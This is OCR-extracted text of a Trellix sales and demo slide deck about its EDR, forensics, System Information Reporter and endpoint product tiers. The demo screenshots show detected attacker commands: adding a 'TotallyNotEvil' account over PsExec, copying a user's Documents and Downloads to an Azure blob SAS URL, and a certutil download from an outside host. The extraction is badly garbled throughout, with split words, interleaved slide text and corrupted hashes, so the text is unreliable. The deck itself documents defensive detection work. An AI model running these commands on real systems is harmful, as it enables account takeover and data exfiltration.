summaries rundli32.exe - Command Line: \slOgAcB.exe -accepteula \\10.14.66.217 -s net user TotallyNotEvil Pass123# /add
Taint Shared Content T1080 (Latera - Parent Process: rundll32.exe (PID:13588)
- Process ID: 3776

v Process Activit:
ACC U ra te a ﬂ d b y - Network Connections: \\10.14.66.217

737978CD2171BOEA1DE6691E24B7727F {
con Clse e a | | o - File Hash (SHA256): 5910B49C041B80F6E8D2ESE10752A9062FEBE4A2EDD15F07C6B1961B3C79C129
m SHA-1 Sequential View - File Path: C:\WINDOWS\System32\slOgAcB.exe
mm 1 F2ED8BE208495149B36D56DD0BCCO0B - User Account: barty.bushes
Su aries to 195CBBADO Filter events ¥ Filtered by Severity
Ot h er Sta ke SHA-256 Please respond back to us with the answers to the below questions along with any other information you deem

D9927533C620C8A499B386A375CBI3C1 relevant.

holders 7634801 F8E216550BD840DADBDDACSC i

6 - Can you confirm if you were aware of the creation of the 'TotallyNotEvil' user account on your device?

- Have you noticed any unusual or suspicious activity on your device recently?
- Can you provide any details about the 'slOgAcB.exe' file, such as where it came from or why it was executed?
- Have you recently installed any new software or applications on your device?

rundli32.exe

rundli32.exe

TrelhX




Disrupt Ongoing Attacks Faster with Al

A RN

Suggested actions

* 1-Click
recommepd ations 5 — i
O N re m ed I a t I O N Al EHE reat etal 3 Perform a Trellix EDR "Real Time Search". Then run an "Action” on the results. Select the rows to target and choose

from the available "Actions". To understand the available "Actions" visit the Catalog Page of Trellix EDR.

Monitoring -
minutes ago

Past 14 days v

» Actionable key
findings w/ context

Initial trigger Trace detection > Device: 141828-bbushes-Fin: 1. Investigate Suspicious Processes:

First detection Sep 18, 2024 9:46:27 AM o Processes:Analyze the running processes on the host to identify any suspicious or malicious processes.

v Threat Behavior Focus on the processes related to 'rundli32.exe’ (PID:3776, PID:13136, PID:11364, PID:12252, PID:12680)
and the 'slOgAcB.exe' file, as these appear to be involved in the malicious activities.

Techniques Observed(15) > ProcessHistory:Obtain the list of any running or terminated processes to further investigate the process

o u tco m e Age 9 days genealogy and understand the timeline of events.

Remote Desktop Protocol T1021.00 © LoadedModules:Inspect the loaded modules of the suspicious processes to identify any potentially

b
® H el p ana |yStS Of SMB/Windows Admin Shares 71021 2. Investigate Network Activity:

> NetworkFlow:Analyze the network flow to identify any suspicious connections or data transfers,

a I I S k' I | I eve IS v Process Attributes Rename System Utilities T1036.003 particularly to the IP address '10.14.66.217' which was referenced in the malicious commands.
o NetworkSessions:Gather information about the currently open network sessions on the endpoint to

U ﬂ d e rSta ﬂ d W h a t FrstName Application Layer Protocol T1071 (C identify any suspicious connections.

o DNSCache:Inspect the local DNS cache on the endpoint to identify any suspicious domain names or IP

1 rundli32.exe £
a Ct IoNs t h ey Taint Shared Content T1080 (Latera addresses that may have been resolved.
1 o 3. Investigate File System Activity:
S h ou I d be ta kl N g MD5 \ Process Activity o Files:Examine the files created or modified on the system, particularly the 'jzleTiV.exe', 'QeURySE.dlI', and
to con ta I N an d 737978CD2171BOEA1DE6691E24B7727F any other suspicious files referenced in the malicious commands.
SHA-1 Sequential View o BrowserDownload:Check the browser download history to see if any suspicious files were downloaded.

rem ed | a te F2EDSBE208495149B36D56DDOBCCO0B o BrowserHistory:Review the browser history to identify any suspicious websites or URLs that may have

195CBBADO Filter events ¥ - | Filtered by Severity been accessed.
4. Investigate User and Privilege Escalation:

SHA-256 o LoggedinUsers:ldentify the user account(s) associated with the suspicious activities and investigate any
D9927533C620C8A499B386A375CBI3C1 ial privi i
sl e bl s potential privilege -escalatlon attempts. ‘ N
o LocalGroups:Examine the local groups on the host to identify any unauthorized additions to privileged
6 groups, such as the ‘Administrators' group.
rundli32.exe o Hostinfo:Gather information about the host, including the hostname, IP address, and operating system
version, to aid in the investigation.

All Threats

Last detection Sep 25, 2024 1:03:04 PM
Affected devices 2

rundli32.exe

TrelhX
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Hybrid and On-Prem Deployments

Trellix ENS and EDR w/ Forensics with On-Premise ePO

Option A Option B
~ = [Historieal
S < | [offine_ % EDR Open
Search Server
=y
Intelligent Virtual : <= = — — — Forensics |{
©  Execution (IVX) Server
D 4 Sandb.ox -
On-Prem or SaaS Analysis Detections Traces Health
Triage Reputation Status
Evidence Lookup Alerts
Collection
Real-Time Search

Deployment
Content Updates
| Response Actions | Policy / Config

Trellix Agent Shared Services
Agent Trellix EDR with Forensics ENS CApp

ontrol
New shared sensor stack

TrelliX

Copyright © 2025 Musarubra US LLC. | All Rights Reserved - Trellix Confidential
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Air-Gapped Deployments

Trellix ENS and EDR w/ Forensics with On-Premise ePO

o

Historieal
[Offline 3
Search™ T

L4

EDR Open
Search Server

Intelligent Virtual : Forensics

- Execution (IVX) Server DXL Broker ePO On-Prem
TN O . Sandbox
On-Prem Analysis Detections Traces Health
Triage Reputation Status
Evidence Lookup Alerts
Collection
Real-Time Search
Deployment
Content Updates
| Response Actions | Policy / Config

Trellix Agent Shared Services
Agent Trellix EDR with Forensics ENS CApp

ontrol
New shared sensor stack

TrelliX

Copyright © 2025 Musarubra US LLC. | All Rights Reserved - Trellix Confidential



“EDRF Cloud
Trellix ENS, EDR, Forensics, and IVX with SaaS ePO

Trellix ePO, TIE, ENS
and Insights Reputation

1

1

1

1

I Data
1

1

1

1 FT—-——- -
1

1

1

1

1

Trellix GTI and
Real Protect

Trellix EDRF

Trellix ENS+EDR
with Forensics

Trellix IVX
TrelhX *Requires specific updated ENS version

Policy updates and events reporting @
_________________________________________ »
r
Reputation lookup (TIE/GTI) and Machine learning (ML Protect

e e e il e | o
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Example Hybrid TRXE Architecture

Nl
——————— >
Trellix ePO : :
|
| . .
| Trellix Insights [ ENS
Insights Dashboard Data : | neputation
____________________________________________ > ] | Data
Femmmmd Reputation lookup to GTI.and Machine learning to Real Protect :
o _______________________________EQB§QaP§hPEQ§t§_,= [j=======--- > -
pul 0 L L EDR Trace and RTS Data_, g ll Trelli GT1 and
I =
policies ' ! 1 I Reputation lookup to GTl__ lmel - - ----- - retix an
and | 1! — Eniniiiait ! Real Protect
deliver 1 1 u— ! | Web |
P HX Trace data + el B Prox .
events | : Investigation queries : HX events : Y i B >
I 1 === > I I
1 : 1 I 1
I .
Lo : Trellix III-|X : : EDR
o controller I ) events
! Trellix EDR
I . . | . he—
. . File+Certificate File —
ENS File+Certif | . e
emtation ool If I reputation lookup Eﬂ-‘b—m i 2
————————————— > Smme
EDR Trace & RTS Data =
Trellix DXL Broker TIE Server IVX Server
ENS+EDR+xagent (Local (Sandbox)
__ _ Unknown files sample submitted for sandbox__ __ "®PHtton)

TrelliX
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Kev Use Cases

Systems Information Reporter (SIR)

Collecting Properties from Critical Systems:

The following properties can be collected from critical systems:

Installed software, Processes, Location, Operating system, Hardware configuration, Network

configuration, Security configuration, Patch level ([ECCSHICHEtHicvalNextRelcase)

Once collected, this information can be used to:

TrelliX

System Information Report

File search support

Registry key modification support

Backup and restore registry keys

Identify and mitigate security vulnerabilities

Identify and Improve system performance,

Troubleshoot problems supports compliance with regulations
Expired Certs Report
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System Information Reporter

Overview

System Information Reporter integrates with ePolicy Orchestrator 5.10 (or later) to
provide a flexible, policy-driven method for querying system properties, environment
variables, registry key values, and other installed software on your managed nodes.

For example, your managed nodes may have common names or conflicting IP
addresses. This complicates the task of managing them from a single server. System
Information Reporter tags such nodes and allows you to identify and group them
based on the query results such as installed software, services, and registry keys.

System Information Reporter is installed as part of the Trellix Agent install process.

TrelliX
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System Information Reporter

Features

Centralized management — Allows you to enforce System Information Reporter
policies on managed nodes using ePolicy Orchestrator management software
version 5.10.
Query system properties — Allows you to query the managed nodes to collect:
o System properties such as versions, patches, and hotfixes
o Custom environment variable value
o Registry key values
File search support — Allows you to query the managed nodes to search files.
Registry key modification support — Allows you to query the managed nodes to
create, edit, or delete registry keys.
Backup and restore registry keys — Creates a backup of registry keys before
modifying and restores registry backup file using Set Registry policy.

TrelliX
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System Information Reporter

Collect Data - General

Collect information

as system
p ro pe rt |eS. System Information Reporter :Collect Data > General > Demo (All)
General ‘ Custom | Find File
¢ H d rd ware Collect data for USB devices Environment Variables (in SYSTEM context)
N fo rrnation Installed Network cards Shares
. MSI Version Services installed (stating status at property collection)
¢ Se rVI Ces Installed Software Path (in SYSTEM context)
o SOftwa re Internet Explorer version NullSession shares and pipes
PS R u n n | n g Running processes at property collection Installed Patches
processes Select/Deselect all
e Environment
variables

TrelliX
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Custom Query & Report

You can build your report based
on all values collected by the
product as properties.

TrelliX

System Information Reporter

SIR: List of Applications
List of Applications including hidden ones

SIR: List of Processes
List of Processes with ID

SIR: List of Services
List of Services with status

SIR: Product Protection View
Product Protection View

SIR: System Information Properties
System Information Properties access to all fields
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Key use cases and demos

1. Cloud Ul: Endpoint detection / NEW actions

2. Cloud Ul: 10C rule creator

3. Cloud Ul: Forensic capabilities / collections

4. Cloud Ul: EDR and Trellix WISE

9. On Premise Ul: Historical search - on premise

6. System information reporter (SIR)

[. Self service performance metrics (Extended capabilities in development of this feature) - Slides only

8. Trellixin OT - SLIDES ONLY

TrelliX




Endpoint Detection and Response

Visibility Across Lifecycle

1. Collect Data 2. Surface Threats

- Detect, investigate and =
respond in real time

- High-fidelity alerts

and detections e Always-on, flexible retention e Suspicious behavior
e Broad visibility e File-based and fileless
e Cloud-centric e MITRE ATT&CK mapping

- One-click analysis
and reporting with

Al-guidance from
Wise for EDR 3. investigation 4. Respond

- Enriched with Insights )
Threat Intelligence E

e Al/ML-driven e Search & visualize

* Automajuon ) e Robust & effective actions
e Correlation at enterprise e APl integration

scale
Trelll)\l e Forensic data captures
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Use Case: Uncover key evidence for resolution

EDR with Forensics prevents recurrent attacks

Recurring
Attacks

43%

Enterprise Search at Scale

Investigate

Organizations hit

by ransomware
were hit more
, than once

On-Premises Endpoints Remote Endpoints

DVR Cache DNS Routing Endpoint Forensics Outcomes:

Service Listing Driver Modules Listing

Port Listing Drivers in Memory ) .
User Accounts Rootkit Hook Detection ® AUtomated forenSK:S data vaU ISITIoN
Scheduled Tasks Memory Process Listing

Process Listing Event Log History e Visibility into scope and root cause

System Information Registry Hive Listing

Disk/Volume Listing File Listing from Raw Disk e Root out evasive attackers

Browser URL Remote Shell

File Download e Prevent recurring attacks

TrelliX
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Detection & Response

* Prioritized, correlated
threat detection

* Visualization,
contextual threat intel,
and response actions

Outcome

e |dentify evasive
threats hiding in
user behavior

Response actions
isolate and
remove threats

Reduce MTTD and
MTTR to prevent
harm

TrelhX

Monitoring

Threats by Ranking v

‘ Filter by keyword

View l All

Sep 27, 20...
4:12:22 PM

rundli32.exe

Command Line
Interpreter:cmd.exe

Sep 27, 20...
4:12:22 PM

Sep 27, 20...
6:55:21 PM

OUTLOOK.EXE

Sep 22, 20...

Dadroit/SONVi rSetup.
£* Dadroit) iewerSetup.exe 3:50:07 AM

Sep 22, 20...

o armsvc.exe 5:58:25 PM

Sep 27, 20...

B mintty.exe 2:26:24 PM

6

Total Threats High

Command Line

Trace detection
Sep 27,2024 4:12:22 PM
Sep 27,2024 4:12:22 PM
Affected devices 1
Age 4 hours

Take Action v

v Process Attributes

Initial trigger
First detection
Last detection

First Name
Command Line

MD5
672C9CA75421C4778AECC6F6EAFC7F1C

SHA-1
756FA4F250AD289801F39010840EEF6D7
7B19EOD

SHA-256
286ECF8079AE75EF1D25A28B49FD88F42
2AB67ECA9F8A41D4C7BBD3CFOE04A06

0

Medium

Device Name:142593-bbushes-Accounting

Threat Details

> Device: || 142593-bbushes-Accounting Sep 27, 2024 4:12:22 PM

v Threat Behavior

Cloud : Threat Detection Mapped to MITRE ATT&CK

4 minutes ago Past 7 days v

Stop process

1 affected devices

Techniques Observed(8) MITRE ATT&CK™ Matrix
SMB/Windows Admin Shares T1021.002 (Lateral Movement)
Rename System Utilities T1036.003 (Defense Evasion)

Exfiltration Over Alternative Protocol T1048 (Exfiltration)

Windows Command Shell T1059.003 (Execution)

Web Protocols T1071.001 (Command and Control)
v Process Activity

Sequential View

Filter events ¥ Filtered by Severity

psexesvc.exe
cmd.exe

axahbzq.exe

uarantine Device
Suspicious Indicators(8) Q

End Quarantine
Executes a process from a suspicious pat  Device

Process executed remotely via PsExec

(Exploratory) Suspicious path + network connection attempts +
uncommon ports

Connects to RPC port (135)

Filter by keyword Showing 5 of 17 events

Event details
Process info

Name

Process ID 380

Integrity Level 3

&

c:\\windows\\temp\\AXaHBZq.exe copy
C:\Users\barty.bushes :azureblob:files/142593-
BBUSHES- —include "Documents/**" --include
"Downloads/**" --azureblob-sas-url

Command
line




Cloud : Simplified Forensics Workflow - Acquisitions

Threat-Sample.exe Threat Details Ask Wise

F aste r I n Vesti g ati o n s : Stre a m I i n ed Initial trigger Trace detection | v Device: [| 2BaW1124H2 Sep 4,20254:09:33PM 1 affected devices

First detection Sep 4, 2025 4:09:33 PM &\
Last detection Sep 4, 2025 4:09:33 PM Device Activity Date Severity Operati.. | Collecti
] . - Stop process
orensiCs WOrkriows ana rewer CIlICKS easddeces 1 284W12., + seps,202540933m [ High Rk Windows..
Age 0 hour Stop and remove

v Threat Behavior Quarantine Device

L]
S ave tl I I l e (ESEAEGIT . Techniques Observed(2) MITRE ATT&CK™ Matrix Suspicious Indicators(
[

COLLECT
Modify Registry T1112 (Defense Evasion) Portable Executable (I
commonly used by m
First NameThreat-Sample.exe Image File Execution Options Injection T1546.012 (Privilege Multiple Files
Escalation, Persistence) Image File Execution ( Triage

v Process Attributes Single File

Standard Investigative Details

Ac ce I e rate d Res p o n s e : C O n textu a I 2A7[[))5B933226DAEA49CBA077384FD59 Process Memory

BFA Driver Memory
SHA-1 Raw Disk

collections/forensics speed up g PSSR | process ety
iIncident response. EllCeee

6M4W1 0RSSX64 4 Device 6MAW10RS5X64 Detection window | [ii| 24h before - 24h after Detection date: Ma
n ngm
]
Easy Collection Access: Initiate = | s
]
Version Windows 10
t [] f I t [ I E D R IP Address 10.26.42.67 Artifacts (61,867) Showing 500 of 1,780 results
actions from multiple

Last boot time 23 days ago
CLI & Script Content

H ePO tags - Proces...
WOrkKspace locations
- Network for ports 80/443  Disabled

v v
Interactive CLI commands  Disabled popisciiaoe fles

Archived Files Mar 11, 2025 4:32:51... NETWOR... sppsvc.e... Sppsvc.e...
Scripts Mar 11, 2025 4:32:49... SYSTEM svchost.... svchost....

Dual-Intent Tools
Mar 11, 2025 4:32:49... SYSTEM svchost.... svchost....

S s Services
re I ) i Mar 11, 2025 4:32:49... SYSTEM .. svchost... svchost....
o Network Connections 5

Mar 11, 2025 4:32:45... cdaauto msoia.exe msoia.exe

Windows Registry Keys




Both: Enabling Defenders with Live Response

Audit Viewer 143710-bbushes-Finance > Timeline

Forensic Response

Data Acquisitions Details

» Uncover evidence of

tt k f t h | d Outlook->Word->Dropper rad724C8.tmp.exe 2024-10-29 20:01:39 fileWriteEvents/Open Time Full Path: C:\Users\barty bushes\AppData\Local\Temp\rad... Text Writte: Process Event Type:
a a C e r OO O S Outlook->Word->Dropper rad724C8.tmp.exe 0 01:392 fileWriteEvents/Gene Full Path: C:\Users\barty bushes\AppData\Local\Temp\rad... Text Writte: AR
Encoded Powershell from rad 8.tmp.exe 0-29 01:542 processEver anerated Process Name: cmd.exe Parent PID:
Encoded Powershell from rad724C8.tmp.exe 2024-10-29 20:01:¢ processEvents/Start Time Process Name: cmd.exe Parent PID:

. .
O EVICt attacker Wlt I Downloader: haleassetss.com:5000 0:02:04Z processEvents/Generated Process Name: certutil.exe Parent PID: Process information

. . Downloader: haleassetss.com:5000 2 0:02:042 processEvents/Start Tim Process Name: certutil.exe Parent PID: -
re m ed I a t I O n Dropped exe riLZsP exe - 02:5 fileWrite! nts/Open Time Full Path: C:\WINDOWS\System32\rlLZsP.exe Text Writte:
Dropped exe riLZsP.exe 2024 542 Wi ents/Generated Full Path: C:\WINDO\ stem32\rlLZsP.exe Text Writte: Process Name:
Dropped dil mtioyu.d -2 z VriteEvents/Open Time  Full Path: C:AWINDOV em32\mtioyu.d Text Writte: e T
Dropped dil mtioyu.di 124-10-29 20:02:54Z fileWriteEvents/Generated Full Path: C:\WINDOWS\System32\mtioyu.di Text Writte:

Username:
10.14.66.116 Lateral add user TotallyNotEvil 0-2! 03:212 processEvents/Generated Process Name: rILZsP. Parent PID:

116 Lateral add Administrator 2 0 processEvents/Generated Process Name: rlLZsP Parent PID: e i - T
116 Lateral add Administrator 4-10-2 processEvent t Time Process Name: rILZsP.exe Parent PID: add
processEvents/Generated Process Name: rlLZsP Parent PID: — e

e Reduce MTTR .

116 Lateral Azure exfil xdrdemoexfil.blob.cor 1| A processEvents/Generated Process Name: exe Parent PID:

with live forensics 14.66.116 Loeral Azure exfl xrdemexf.blobcor. 2024-1029 20 processbvereuSoantTime  Procass Name: rAzsPe parent pD: parent process
1 7:18Z md.e Parent PID:

116 Lateral file copy mtioyu.d 202410 07:18 processEvents/Generated Process Name:
Parent Process Name:
5 Lateral file copy mtioyu.di 4 29 20:07:182 processEvents/Start Time Process Name: cmd.exe Parent PID:

116 Lateral rundll mtioyu.dil 2024-10-29 20:07:182 processEvents/Generated Process Name: rlL.ZsPe Parent PID: Parent Process Path:

Prevent attacker's 1029 2007182 e e
return which
happens to 43%

Follow Up Escalate For Report

of organizations

10.14.66.116 Lateral add user TORNYNGEEV ).

Timeline

1t0220f 22 Page 1 of 1

relhiX




Both: Enabling Defenders with Live Response
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. Data Acquisitions
Forensic Response i

« Uncover evidence of
attacker footholds

« Evict attacker with
remediation

Outcome

e Reduce MTTR
with live forensics

e Prevent attacker's
return which
happens to 43%
of organizations

Timeline

TrelliX




On prem: Historical Search - time based retenti

Forensic Response

* Uncover evidence of
attacker
days/weeks/months
before

Outcome

e Reduce MTTR
with additional
historical data

Search system
even if they offline

TrelhX

x ENDPOINT SECURITY

Q processName:*

C' Time Range :Last 24 Hours v

Last 4 Hours

Last 8 Hours

Last 12 Hours S
Last 24 Hours

Last 3 Days

Last 7 Days v

Last 1 Month

Custom

To build your query, start by typing conditions, operators,

COMMON SEARCH FIELD INPUTS (CASE SENSITIVE)

INATION 1P

STINATION PORT

DNS LOOKUP
FILE MD5

FILE PATH

Mo

DASHBOARD ALERTS HOSTS v

October

Tu We Th

From Time (UTC)

09 : |44 | :| 28

OPERATORS

ESS FILE PATH

PARENT PID

DETECTION

ACQUISITIONS RULES ENTERPRISE SEARCH ADMIN Vv MODULES v

October

Su Mo Tu We Th Fr Sa

To Time (UTC)

09 44

and functions. A list of possible values is listed below. Go to the documentation &

Here are some examples of common values
eventType

FUNCTIONS

EQUALTO
DNS Query

R THAN EQUAL TO
THAN EQUAL TO EXAMPLES
T WITH BEGIN

d line containing certutil

JS STRING TEMP cmdLine:/ *certutil.*

ENDS WITH END

CONTAINS SUB STRING WITH SPACES

Hide Syntax Help




On Prem: Historical Search - enterprise wide visib

x ENDPOINT SECURITY DASHBOARD ALERTS HOSTS ACQUISITIONS RULES ENTERPRISE SEARCH ADMIN MODULES

Forensic Response T

C' Time Range :Last 7 Days Hide Syntax Hel

* Uncover evidence of
attacker
days/weeks/months
before

Showing results from 14-10-2025 09:45:07 UTC - 21-10-2025 0! )7 UTC (Last 7 Days) Status: Completed | Showing 1-50 out of 310 results

O Detection Date - time  Activity - eventType Device Name - host Username - user.na...  OS-clientOs Process Name - pro...  Parent Process Na... Command Line - c... Process ID - pid Parent Process ID - p... @
2025-10-14T11:49:0... Process Created EndpointHost Administrator windows dw20.exe CA\TMP\mim.exe dw20.exe -x -5 1156
2025-10-14T12:49:0... Process Created EndpointHost windows svchost.exe C:\Windows\System... C:\Windows\System...
2025-10-14722:50:1... Process Created EndpointHost Administrator windows conhost.exe C:\Windows\System... \?AC:\Windows\syst...

2025-10-17T00:45:0... Process Created EndpointHost SYSTEM windows MoUsoCoreWorker.... C:\Windows\System... "C:\Windows\uus\A...

Outcome

2025-10-17T00:45:0... Process Created EndpointHost Administrator windows backgroundTaskHos... C:\Windows\System... "C:\Windows\system...

. R ed u Ce M | I R 2025-10-17T12:44:1... Process Created EndpointHost Administrator windows conhost.exe C:\Windows\System... \?AC:\Windows\syst...
W i t h a d d it i O n a I 2025-10-17T13:45.0... Process Created EndpointHost SYSTEM windows MoUsoCoreWorker.... C:\Windows\System... "C:AWindows\uus\A...

. .
h | Sto r | Ca | d a ta 2025-10-17T14:45:0... Process Created EndpointHost Administrator windows RuntimeBroker.exe C:\Windows\System... C:\Windows\System...

2025-10-18T00:45:0... Process Created EndpointHost Administrator windows backgroundTaskHos... C:\Windows\System... "C:\Windows\system...

Search system
even if they offline

2025-10-18T18:44:1... Process Created EndpointHost Administrator windows powershell.exe C:\Windows\System... "powershell.exe" -Wi...
2025-10-19T00:45:0... Process Created EndpointHost SYSTEM windows MoUsoCoreWorker.... C:\Windows\System... "C:\Windows\uus\A...
O 2025-10-19T00:45:0... Process Created EndpointHost Administrator windows RuntimeBroker.exe C:\Windows\System... C:\Windows\System...

To build your query, start by typing conditions, operators, and functions. A list of possible values is listed below. Go to the documentation ()

COMMON SEARCH FIELD INPUTS (CASE SENSITIVE) OPERATORS FUNCTIONS Here are some examples of common values
Host L £ ocFileAttrs.sha2s ac 5 0 eventType
1
ILE PATH
WITY 2 PARENT PROCESS S THAN sort > time Sort by time, most recent first
INATION IF ps ARENT PROCESS SHA-256 G HAN EQUALTO
PORT d { 5 N EQUAL TO
RENT PID START WITH BEGIN host:* All hosts

DETECTION DATE *temp.* c ING TEMP cmdLine:/.*certut All command line containing certut

TrelhX




On Prem: Historical Search - in depth details

X ENDPOINT SECURITY DASHBOARD ALERTS HOSTS ACQUISITIONS RULES ENTERPRISE SEARCH ADMIN MODULES

Forensic Response T

C' Time Range :Last 7 Days ntax Help|

« Uncover evidence of
attacker
d ayS/We e kS/m O n t h S 2025-10-14T11... Process Created EndpointHost Administrator windows dw20.exe C\TMP\mim.exe dw20.exe X -S ...
before

2025-10-14T12... Process Created EndpointHost SYSTEM windows svchost.exe C:\Windows\Sy... C:\Windows\Sy... S
maGuid 8FA585D2-407C-11F0-175F-000C29B91A04

esults from 14-10- 07 U -10-2025 09:45:07 UTC (Last 7 Da Status: Completed | Showing 1-50 out of 310 results

Detection Dat... Activity - even... Device Name-.. Username-us.. 0S-clientOs Process Name... Parent Proces... Command Lin... Process ID - pid Parent Proces... Event Details

v 469

procFileAttrs .

2025-10-17T00... Process Created EndpointHost SYSTEM windows MoUsoCoreWo...  C:\Windows\Sy... "C:\Windows\u... {
embedFileVersion: 2.0.50727.9157 (WinRelRS6.050727-
embedProductVersion: 2.0.50727.9157,

o u tco m e 2025-10-17T00... Process Created EndpointHost Administrator windows backgroundTa... C:\Windows\Sy... "C:\Windowss... sha256:
AC4726AADDFE773D630F905DB70882213EDD74042C263682597A1

embedFilename: dw20.exe,

2025-10-17T12...  Process Created EndpointHost Administrator windows conhost.exe C:\Windows\Sy...  \?AC:\Windows... embedVendorName: Microsoft Corporation,
subsystem: 2,

e Reduce MTTR e

2025-10-17T13...  Process Created EndpointHost SYSTEM windows MoUsoCoreWo...  C:\Windows\Sy... = "C:\Windows\u...
vtpPrivileges: 1

. o, .
h
W I t h a d d |t I O n a I 2025-10-17T14... C:\Windows\Sy... C:\Windows\Sy... creationDate: 2025-10-10T12:23:57.897Z,

Process Created EndpointHost Administrator windows RuntimeBroker...
shal: 28B639D533FCE7FA65C913328BE7B70DAFE41DSD,

. .
historical data
2025-10-18T00... C:\Windows\Sy... "C:\Windows\s... :\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\

Process Created EndpointHost Administrator windows backgroundTa...
lastModificationDate: 2024-03-28T@8:51:00.000Z,

fsattrs: 32,
2025-10-18T18..  Process Created EndpointHost Administrator windows powershell.exe C:\Windows\Sy... ~ "powershell.ex... size: 46000,

Search system

. e {
. . 2025-10-19T00... ~ Process Created EndpointHost windows MoUsoCoreWo...  C:\Windows\Sy... 'C:\Windows\u... shal: 71F53A26BB1625E466727183409A30D0307923
even I t ey O | ne validNotAfter: 1731612008,
; A 2 issuerName: US, Washington, Redmond, Microsoi
3 3 Corporation, Microsoft Windows Production PCA 2011,
subject: US, Washington, Redmond, Microsoft (
Microsoft Windows,
validNotBefore: 1700162408,
type: signing,
publicKeyHash: 2785174A513C359808FE766E9185A%

’

2025-10-14T22... Process Created EndpointHost Administrator windows conhost.exe C\Windows\Sy... ~ \?AC\Windows...

2025-10-19T00... Process Created EndpointHost Administrator windows
2025-10-19T08... Process Created EndpointHost Administrator windows OpenConsole.e...  C:\Windows\Sy... "C:\Program Fil...

2025-10-19T09...  Process Created EndpointHost Administrator windows OpenConsole.e...  C:\Windows\Sy... ~ "C:\Program Fil...

. N - . shal: 580A6F4CC4E4B669BIEBDC1B2B3EQ87B80DB67E
2025-10-19T23... Process Created EndpointHost SYSTEM windows UsoClient.exe C:\Windows\Sy... 'C:\Windows\s... validNotAfter: 1792435902,
issuerName: US, Washington, Redmond, Microsoi
Corporation, Microsoft Root Certificate Authority 201
2025-10-20T07... Process Created EndpointHost Administrator windows powershell.exe C:\Windows\Sy... "powershell.ex... subject: US, Washington, Redmond, Microsoft (
Microsoft Windows Production PCA 2011,
validNotBefore: 1319049702,
2025-10-20T07...  Process Created EndpointHost Administrator windows conhost.exe C\Windows\Sy...  \?AC\Windows... type: parent,
publicKeyHash: A92902398E16C49778CD90OFI9E4F9/
h
{




?r(ey Trellix Security Solutions for OT

Trellix Helix XDR for

Trellix Endpoint for OT Trellix NDR for OT oT

e Centralized Management e Advanced Threat Detection e On-Site log forwarding

e Anti-Malware on IPS or NX sensors through SIEM, ePO and

e Device Control e Anomaly Detections Comm Broker

e Application Whitelisting e HW, Virtual, Cloud e On-Site log collection and
e Custom Intelligence e Asset Discovery and Visibility storage through ESM

e Sandboxing e 3 Partyintegrations e IT-OT Threat Detection

e Asset Discovery e Nozomi integrations and Risk Assessments

e Compliance Audit e Network Forensic ° Integr:i\ted GenAl for alert
e EDR/Forensics analysis and

investigations
e Nozomi and other 3™
Party integrations

TrelliX
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Operate Anywhere

Level 5
Enterprise IT Networks
and Data Centers

Level 4
Site IT Networks

Level 3 and Level 3.5

Site Operations Control and
ICS-Demilitarized Zone
(DMZ)

Level 2
Area Supervisory Control

TrelliX

Corporate
Norkstations

Endpoint Security for OT Architecture

DNS, AV, DC,
Remote Access Servers

B s r s o |
2 Perimeter
% Corporat; 1EM SOC
D DR(F) S‘:,“ :‘ l @ Firewall SIE
oPO Server IT E] I
1 R‘r
r E3 1
PO Sate IT Servers Stte IT
i A 9. t Handler ﬁ g Workstations
1 (optional) Site ~
T T TR Firewall, .o Q ................. Q
IT-O7 . >
Firewall §] Site Production ¢PO Server -
. l Control Systems for OT
Core Switches %
i

..........................

Line Operator
: Workstations @

- = I
PLCS/DCSs fSsa  lbse (5s9

Sensors/ X o
- i S * A
Actuators g; @ A

Line Switches

PLCs/RTUs Ss8l [ss3  [s=o

E o

Sensors /
Acluators @'

Line Switches

Building ; e
Controllers / “Do Q E
NVRs

10T Devices I 9

Asset Visibility

s ENS

L Bl

©

App & Change

Control
3] oo
‘@ EDRI[F)
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Simplify Selling and Streamline Endpoint Offerings
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Technology/Suite SSE4 TRXE Add-on

From 12 to 4

Endpoint Endpoint Endpoint

Essentials Core Enterprise
e Single install e Single install e Single agent e Risk posture &
e Basic Protection e Full protection e Integrated reduction
e Ransomware e EDR for 5% detection & e Attack Path

Resilience critical assets forensics Discovery
. | e Ransomware e MDR
New in Q3! Resilience

FUTURE

Trelli Reduce SKU Complexity, Increase Customer Value!
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Cloud
ePO
SaaS/laaS/On-Prem

Hybrid
ePO On-Prem/laaS
Only

TrelliX

Endpoint
Essentials

Endpoint
Essentials Cloud
(EPESCQ)

Available Now!

Endpoint
Core

Endpoint Core*
(EPCR)

Available Now!

Trellix Endpoint Security Packages

Endpoint
Enterprise

Endpoint
Essentials Hybrid
(EPESH)

Available Now!

Endpoint

Enterprise* (EPEN)

Available Now!

Endpoint Core
Hybrid (EPCRH)

Available Now!

Endpoint
Enterprise Hybrid
(EPENH)

Available Now!

Endpoint
Complete Cloud

Planned

Endpoint
Complete Hybrid

Planned
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MV1
SS1, SSE

Trellix Essentials
(Aug 2025)

MV2
SS2

> Trellix Core

MV4

MVe6
SS3

TRXE
SS4

Trellix Enterprise

New purchase
Enterprise

HX Cloud

TrelliX

Endpoint - Simplified Sales, increased value

HX
on prem

TRXHX

on prem

Renews to HX or
EPENH

Renews to TRXHX
or EPENH
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Trellix Essentials Cloud
(EPESC)

ePO Saas, On-Prem, laaS

Next Gen AV

Host Firewall

Web & Device Control

Adaptive Threat Protection

Native Security Protection

TrelliX

Trellix Essentials (Any size)

MV1 Customers that don’t want to
upgrade to Core

New New Entry Level security
customers

For ePO On-Prem customers use
Essentials Hybrid

Trellix Essentials Hybrid
(EPESH)

ePO On-Prem/laaS

Next Gen AV

Host Firewall

Web & Device Control

Adaptive Threat Protection

Native Security Protection




/71 1V NN

Trellix Core (Medium to large)

Trellix Core Cloud (EPCR
e MVI1customers with maturing Trellix Core Hybrid (EPCRH)

ePO Saa$S, On-Prem, laaS security programs
ePO On-Prem/laaS
Next Gen AV e Existing MV2 Customers
Next Gen AV
Host Firewall e Net new customers with Host Fi I
Web & Device C | enhanced security needs and ost Firewa
e evice Contro ; ;
compliance requirements Web & Device Control
Core Hybrid

Native Security Protection . . .
Native Security Protection

Insights :
Insights

Threat Intelligence Exchange .
Threat Intelligence Exchange

IVX Cloud Submissions .
IVX Cloud Submissions

Application Control for PCs .
Application Control for PCs

EDR for Critical Assets (5%)

TrelliX

EDR for Critical Assets (5%)
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Endpoint Enterprise Cloud

ePO Saas, On-Prem, laaS e Upgrade MV4 and MV6
Customers

Next Gen AV

. e Migrate TRXE Customers
Host Firewall

5 . | e Can use on premise components
Web & Device Contro / if required
Adaptive Threat Protection e Net new customers with mature

